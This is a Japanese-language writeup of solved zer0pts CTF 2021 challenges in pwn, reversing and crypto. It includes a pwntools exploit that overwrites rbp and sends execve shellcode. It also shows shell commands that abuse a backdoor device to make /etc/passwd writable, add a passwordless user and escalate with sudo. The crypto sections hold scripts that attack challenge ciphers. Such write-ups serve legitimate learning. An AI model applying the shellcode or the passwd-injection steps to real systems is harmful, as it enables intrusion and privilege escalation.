zer0pts CTF 2021 Writeup

Sun Mar 07 2021

    3/6 9:00 - 3/7 21:00 (JST) に開催された zer0pts CTF 2021 にソロで参加しました。 主に crypto の問題を解きました。 web や rev は一通り問題を眺めたものの全然解けませんでした…ですがどの問題も考えているだけで楽しく、とてもいい CTF でした。 結果は 49th/951 でした。解いた問題についてまとめていきます。

    pwn

    Not Beginner's Stack

    FOR_BEGINNERS.md にも書いてある通り、 return address を stack ではなく bss 領域で管理しており、いわゆる stack overflow による ROP は出来なくなっています。 しかし leave 命令経由で rbp を書き換えることができるため、これをうまく使います。

    1回目の入力で stack overflow の脆弱性があるため、ここで rsp が bss 領域を指すように rbp を書き換えます。具体的には bss 領域 + 0x100 を rbp に書き込みます。 すると次の入力が bss 領域に書き込まれるため、 return address をいじることが可能になります。

    from pwn import *
    
    
    elf = ELF("./not_beginners_stack/chall")
    context.binary = elf
    
    r = remote("pwn.ctf.zer0pts.com", 9011)
    
    offset = 8
    r.sendafter("Data: ", b"A" * 256 + pack(0x600234+offset+0x100))  # 次の read で書き込む場所が bss 領域になるように
    
    # http://shell-storm.org/shellcode/files/shellcode-806.php
    r.sendafter("Data: ", pack(0x600234+offset+8) + b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05")
    r.interactive()

    zer0pts{1nt3rm3d14t3_pwn3r5_l1k3_2_0v3rwr1t3_s4v3d_RBP}

    reversing

    infected

    解析 試しに実行してみると、 cuse: failed to open /dev/cuse: Permission denied と言われる (怖いので sudo では実行しなかった)。また定義された関数を見ていると fuse_* という名前のものが多かったため、そのあたりの単語でググると、 character device in user space なるものらしい。 例えば https://libfuse.github.io/doxygen/cuse_8c.html とかの例を眺めたりしました。

    これを踏まえて reversing すると、大事そうな部分が以下の箇所。

    │      │└─> 0x00000b40      488b8540ffff.  mov rax, qword [ptr]
    │      │    0x00000b47      488d35d20200.  lea rsi, [0x00000e20]       ; ":" ; const char *s2
    │      │    0x00000b4e      4889c7         mov rdi, rax                ; char *s1
    │      │    0x00000b51      e80afeffff     call sym.imp.strtok         ;[3] ; char *strtok(char *s1, const char *s2)
    │      │    0x00000b56      48898548ffff.  mov qword [var_b8h], rax
    │      │    0x00000b5d      488d35bc0200.  lea rsi, [0x00000e20]       ; ":" ; const char *s2
    │      │    0x00000b64      bf00000000     mov edi, 0                  ; char *s1
    │      │    0x00000b69      e8f2fdffff     call sym.imp.strtok         ;[3] ; char *strtok(char *s1, const char *s2)
    │      │    0x00000b6e      48898550ffff.  mov qword [path], rax
    │      │    0x00000b75      488d35a40200.  lea rsi, [0x00000e20]       ; ":" ; const char *s2
    │      │    0x00000b7c      bf00000000     mov edi, 0                  ; char *s1
    │      │    0x00000b81      e8dafdffff     call sym.imp.strtok         ;[3] ; char *strtok(char *s1, const char *s2)
    │      │    0x00000b86      48898558ffff.  mov qword [str], rax
    │      │    0x00000b8d      4883bd48ffff.  cmp qword [var_b8h], 0
    │      │┌─< 0x00000b95      7414           je 0xbab
    │      ││   0x00000b97      4883bd50ffff.  cmp qword [path], 0
    │     ┌───< 0x00000b9f      740a           je 0xbab
    │     │││   0x00000ba1      4883bd58ffff.  cmp qword [str], 0
    │    ┌────< 0x00000ba9      7519           jne 0xbc4
    │    ││││   ; CODE XREFS from sym.backdoor_write @ 0xb95, 0xb9f
    │    │└─└─> 0x00000bab      488b8538ffff.  mov rax, qword [var_c8h]
    │    │ │    0x00000bb2      be16000000     mov esi, 0x16
    │    │ │    0x00000bb7      4889c7         mov rdi, rax
    │    │ │    0x00000bba      e861fdffff     call sym.imp.fuse_reply_err ;[2]
    │    │ │┌─< 0x00000bbf      e9b9000000     jmp 0xc7d
    │    │ ││   ; CODE XREF from sym.backdoor_write @ 0xba9
    │    └────> 0x00000bc4      488b8548ffff.  mov rax, qword [var_b8h]
    │      ││   0x00000bcb      ba08000000     mov edx, 8                  ; size_t n
    │      ││   0x00000bd0      488d354b0200.  lea rsi, str.b4ckd00r       ; 0xe22 ; "b4ckd00r" ; const char *s2
    │      ││   0x00000bd7      4889c7         mov rdi, rax                ; const char *s1
    │      ││   0x00000bda      e8e1fcffff     call sym.imp.strncmp        ;[4] ; int strncmp(const char *s1, const char *s2, size_t n)
    │      ││   0x00000bdf      85c0           test eax, eax
    │     ┌───< 0x00000be1      0f8582000000   jne 0xc69
    │     │││   0x00000be7      488d9560ffff.  lea rdx, [var_a0h]
    │     │││   0x00000bee      488b8550ffff.  mov rax, qword [path]
    │     │││   0x00000bf5      4889d6         mov rsi, rdx                ; int64_t arg2
    │     │││   0x00000bf8      4889c7         mov rdi, rax                ; int64_t arg1
    │     │││   0x00000bfb      e8f0010000     call sym.stat64             ;[5]
    │     │││   0x00000c00      8b8578ffffff   mov eax, dword [var_88h]
    │     │││   0x00000c06      2500f00000     and eax, 0xf000
    │     │││   0x00000c0b      3d00800000     cmp eax, 0x8000
    │    ┌────< 0x00000c10      7541           jne 0xc53
    │    ││││   0x00000c12      488b8558ffff.  mov rax, qword [str]
    │    ││││   0x00000c19      4889c7         mov rdi, rax                ; const char *str
    │    ││││   0x00000c1c      e84ffdffff     call sym.imp.atoi           ;[6] ; int atoi(const char *str)
    │    ││││   0x00000c21      89c2           mov edx, eax
    │    ││││   0x00000c23      488b8550ffff.  mov rax, qword [path]
    │    ││││   0x00000c2a      89d6           mov esi, edx                ; int mode
    │    ││││   0x00000c2c      4889c7         mov rdi, rax                ; const char *path
    │    ││││   0x00000c2f      e81cfdffff     call sym.imp.chmod          ;[7] ; int chmod(const char *path, int mode)
    │    ││││   0x00000c34      85c0           test eax, eax
    │   ┌─────< 0x00000c36      751b           jne 0xc53
    

    b4ckd00r:FILE_PATH:PERMISSION という形式で /dev/backdoor (DEVNAME=backdoor という文字列が見つかったので) に書き込むと、 chmod PERMISSION FILE_PATH が走るみたいです。

    nc 前の計算 連続アクセスを防ぐために hash の逆計算をさせられるので、適当な script を書いて先に進みます。

    import re
    from itertools import product
    from hashlib import sha256
    from pwn import *
    
    r = remote("any.ctf.zer0pts.com", 11011)
    line = r.recvline().strip()
    parsed = re.findall(r"sha256\(\"(.*)\"\) = (.*)", line.decode())[0]
    result = None
    for i1, i2, i3, i4 in product(range(32, 128), repeat=4):
        c1, c2, c3, c4 = map(chr, [i1, i2, i3, i4])
        tmp = c1 + c2 + c3 + c4 + parsed[0][4:]
        if sha256(tmp.encode()).hexdigest() == parsed[1]:
            result = tmp
            break
    assert result is not None
    r.sendline(result[:4])
    r.interactive()

    nc 後のコマンド sudo が使えればフラグが見られそうなので、その方針を取りました。 id 1000 のユーザーを /etc/passwd に書き込み (パスワード不要にするため2つ目のフィールドは空白)、フラグを見ました。

    echo "b4ckd00r:/etc/passwd:00766" > /dev/backdoor
    echo "hoge::1000:1000:nobody:/:/bin/sh" >> /etc/passwd
    sudo /bin/ls /root
    flag-b40d08b2f732b94d5ba34730c052d7e3.txt
    sudo /bin/cat /root/flag-b40d08b2f732b94d5ba34730c052d7e3.txt
    zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

    zer0pts{exCUSE_m3_bu7_d0_u_m1nd_0p3n1ng_7h3_b4ckd00r?}

    crypto

    war(sa)mup

    mmm//2m//2 を RSA で暗号化した c1,c2c_1, c_2 が与えられています。 今 mm は奇数なので、正確には m//2=(m1)/2m//2 = (m - 1) / 2 です。これはフラグの最後の文字が } で奇数になっていることや、 2ec2c12^ec_2 \ne c_1 なことからわかります。

    したがって、mec1,(m1)e2ec2m^e \equiv c_1, (m - 1)^e \equiv 2^e c_2 が既知ということになります。これは Franklin-Reiter related message attack が適用可能です。

    from Crypto.Util.number import long_to_bytes
    
    n = 113135121314210337963205879392132245927891839184264376753001919135175107917692925687745642532400388405294058068119159052072165971868084999879938794441059047830758789602416617241611903275905693635535414333219575299357763227902178212895661490423647330568988131820052060534245914478223222846644042189866538583089
    e = 1337
    c1 = 89077537464844217317838714274752275745737299140754457809311043026310485657525465380612019060271624958745477080123105341040804682893638929826256518881725504468857309066477953222053834586118046524148078925441309323863670353080908506037906892365564379678072687516738199061826782744188465569562164042809701387515
    c2 = 18316499600532548540200088385321489533551929653850367414045951501351666430044325649693237350325761799191454032916563398349042002392547617043109953849020374952672554986583214658990393359680155263435896743098100256476711085394564818470798155739552647869415576747325109152123993105242982918456613831667423815762
    
    # http://inaz2.hatenablog.com/entry/2016/01/20/022936
    def related_message_attack(c1, c2, diff, e, n):
        PRx.<x> = PolynomialRing(Zmod(n))
        g1 = x^e - c1
        g2 = (x+diff)^e - c2
    
        def gcd(g1, g2):
            while g2:
                g1, g2 = g2, g1 % g2
            return g1.monic()
    
        return -gcd(g1, g2)[0]
    
    
    long_to_bytes(related_message_attack(c1, pow(2, e, n) * c2, -1, e, n))

    zer0pts{y0u_g07_47_13457_0v3r_1_p0in7}

    OT or NOT OT

    コードを言葉にすると、次のようになります。

    素数 $p$ が与えられています。AES を使ってフラグを暗号化しています。
    
    key が0になるまで以下を繰り返します。
    - key の下1bit目と2bit目をそれぞれ $k_0, k_1$ とします。
    - a, b, c, d をユーザーが与えます (ただし a, b, c, d は同じ数字があっては駄目、2以上)。
    - r, s, t を randint(2, p-1) で生成します。
    - u = a^r c^s, v = b^r c^s mod p を計算し、 x = xor(u, k_0), y = xor(v, k_1) を返します。
    - z = d^r t^s を返します。
    - key を2bit右にシフトします。
    

    いろいろやり方が考えられそうですが、自分は a=21,b=2,c=p1,d=4a=2^{-1}, b=2, c=p-1, d=4 (dd は何でもいい) を与えました。 こうすると uv(ab)rc2r1modpuv \equiv (ab)^r c^{2r} \equiv 1 \mod p となるため、 u=x0or1,v=y0or1u = x\oplus \mathrm{0 or 1}, v = y\oplus \mathrm{0 or 1} の計4通りを計算して1になるものが k0,k1k_0, k_1 となります。

    zzdd を全然使っていないので、非想定解かもしれない…

    from pwn import *
    from itertools import product
    from base64 import b64decode
    from Crypto.Util.number import inverse, long_to_bytes
    from Crypto.Cipher import AES
    
    
    r = remote("crypto.ctf.zer0pts.com", 10130)
    
    r.recvuntil("Encrypted flag: ")
    enc = r.recvline().strip()
    print(enc)
    
    r.recvuntil("p = ")
    p = int(r.recvline().strip())
    
    key = 0
    try:  # key の bit 数によっては128回らない場合があるため、雑に try except
        for i in range(256 // 2):
            r.sendlineafter("a = ", str(pow(2, -1, p)))
            r.sendlineafter("b = ", str(2))
            r.sendlineafter("c = ", str(p-1))
            r.sendlineafter("d = ", str(4))
    
            r.recvuntil("x = ")
            x = int(r.recvline().strip())
            r.recvuntil("y = ")
            y = int(r.recvline().strip())
            r.recvuntil("z = ")
            z = int(r.recvline().strip())
    
            found = False
            for i0, i1 in product(range(2), repeat=2):
                tmp = (x ^ i0) * (y ^ i1) % p
                if tmp == 1:
                    found = True
                    break
            if not found:
                raise RuntimeError
            key += 4 ** i * (2 * i1 + i0)
            print(i, key)
    except Exception:
        pass
    
    enc_raw = b64decode(enc)
    iv, enc_flag = enc_raw[: AES.block_size], enc_raw[AES.block_size :]
    aes = AES.new(key=long_to_bytes(key), mode=AES.MODE_CBC, iv=iv)
    print(aes.decrypt(enc_flag))

    zer0pts{H41131uj4h_H41131uj4h}

    janken vs yoshiking

    じゃんけんで出す手を ElGamal 暗号で暗号化したものを事前に与えてくれます。 ElGamal 暗号では平方剰余が以下のようにしてわかるため、それを利用しました。

    y=gxy = g^x としたときに、 (y/p)=1(y/p)=1(y/p)=1(y/p)=-1 かで場合分けが発生しますが、今回の問題では xx がランダムに生成される上 yy の値は直接的にはわからないため、 (y/p)=1(y/p) = -1 を仮定します。(y/p)=1(y/p)=1 の乱数を引いてしまったときは潔く負けを認め、もう一度祈りながらプログラムを走らせましょう。 (c1/p)=(g/p)r(c_1/p) = (g/p)^r なため、rr の偶奇がわかります。さらに (c2/p)=(m/p)(1)r(c_2/p) = (m/p) (-1)^r となるため、 (m/p)(m/p) を計算することができます。

    しかしじゃんけんは3種類の手があるため、一見すると (m/p)(m/p) がわかっただけでは相手の手を特定することはできません。けどこれはじゃんけんなので、実は特定しなくても負けない手を選ぶことができるのです。 (1/p),(2/p),(3/p)(1/p), (2/p), (3/p) を事前計算して、 +1 のグループと -1 のグループにわけておくと、たいていの pp で 1個2個に分かれます。 この1個のグループの値と (m/p)(m/p) が一致したときのみ相手の手は特定できるため、勝ちにいきます。 逆に2個のグループの値になったときは相手の手が特定できない (例えばグーかパーかわからない) 状況になるため、負けない手を選びます (今回の例だとパー)。

    import re
    
    from pwn import *
    
    context.log_level = "DEBUG"
    
    r = remote("crypto.ctf.zer0pts.com", 10463)
    _ = r.recvline()
    recv = r.recvline().strip()
    g, p = map(int, re.findall(r".*g: ([0-9]*), and p: ([0-9]*)", recv.decode())[0])
    
    parities = [kronecker(i, p) for i in range(1, 4)]
    even = [i + 1 for i, p in enumerate(parities) if p == 1]
    odd = [i + 1 for i, p in enumerate(parities) if p == -1]
    assert len(even) + len(odd) == 3
    if len(even) == 2:
        should_win = -1
        hand_win = (odd[0]-2) % 3 + 1
        hand_draw = odd[0] % 3 + 1
    else:
        should_win = 1
        hand_win = (even[0]-2) % 3 + 1
        hand_draw = even[0] % 3 + 1
    
    try:
        while True:
            r.recvuntil("[yoshiking]: my commitment")
            recv = r.recvline()
            c1, c2 = map(int, re.findall(r".*=\(([0-9]*), ([0-9]*)\)", recv.decode())[0])
            r_parity = kronecker(c1, p)
            m_parity = kronecker(c2, p) * r_parity
            if m_parity == should_win:
                r.sendlineafter("[system]: your hand(1-3): ", str(hand_win))
            else:
                r.sendlineafter("[system]: your hand(1-3): ", str(hand_draw))
    except Exception:
        pass
    
    r.interactive()

    zer0pts{jank3n-jank3n-0ne-m0r3-batt13}

    easy pseudo random

    Quadratic Congruential Generator (QCG) の問題。特に vi+1=avi2+bv1+cv_{i+1} = a v_i^2 + b v_1 + ca=1,b=0a=1, b=0 の場合は Pollard generator というらしく、今回はこれに相当します。 v0,v1v_0, v_1 の MSB の 2/3 がわかっている状態から v1v_1 を復元し、 v2,v3,...v_2, v_3, ... を求めることでフラグが復元できます。

    LLL を使えばいけそうなオーラが漂っていたのでこねくり回していたのですが、自分では思いつかず…結局ググると https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf のような論文が見つかったため、実装しました。

    これは余談ですが、この論文は MSB が 2/3 程度が既知のときの解法ですが、 https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.703.9811&rep=rep1&type=pdf は 9/14 < 2/3 程度での解法となっており、さらに https://tel.archives-ouvertes.fr/tel-01135998/document は 3/5 < 9/14 程度での解法となっています。また、 cc の値が未知でも解けるみたいです。ちゃんと復習したい。

    from Crypto.Util.number import *
    
    nbits = 256
    p = 86160765871200393116432211865381287556448879131923154695356172713106176601077
    Fp = Zmod(p)
    P.<v> = PolynomialRing(Fp)
    
    b = 71198163834256441900788553646474983932569411761091772746766420811695841423780
    d = 2
    F = v^2 + b
    
    k = ceil(nbits * (d / (d + 1)))
    
    m = 88219145192729480056743197897921789558305761774733086829638493717397473234815
    w0 = 401052873479535541023317092941219339820731562526505
    w1 = 994046339364774179650447057905749575131331863844814
    
    w0 <<= (nbits - k)
    w1 <<= (nbits - k)
    
    delta = round(p ** (1/3))
    
    # https://www.ams.org/journals/mcom/2005-74-251/S0025-5718-04-01698-9/S0025-5718-04-01698-9.pdf
    # Theorem 4
    M0 = Matrix(ZZ, 3, 3)
    M1 = Matrix(ZZ, 3, 3)
    A = int(pow(delta, -2, p) * (w1 - w0 ** 2 - b)) % p
    B = int(-2*w0*pow(delta, -1, p)) % p
    C = 1
    M0[0, 0] = p
    M0[1, 1] = delta ** 2
    M0[2, 2] = delta
    M1[0, 0] = A
    M1[1, 0] = B
    M1[2, 0] = C
    M1[0, 1] = 1
    M1[1, 2] = 1
    M = M0 * M1.inverse()
    V = None
    for v in M.LLL():
        if v[0] == delta ** 2:
            V = v
            break
    assert V is not None
    v0 = w0 + V[1] / delta
    v1 = w1 + (V[2] + (V[1]/delta) ** 2)
    assert (v0 ** 2 + b) % p == v1
    
    _v = Fp(v1)
    for i in range(5):
        _v = F(_v)
        m ^^= int(_v)
    long_to_bytes(m)

    zer0pts{is_blum_blum_shub_safe?}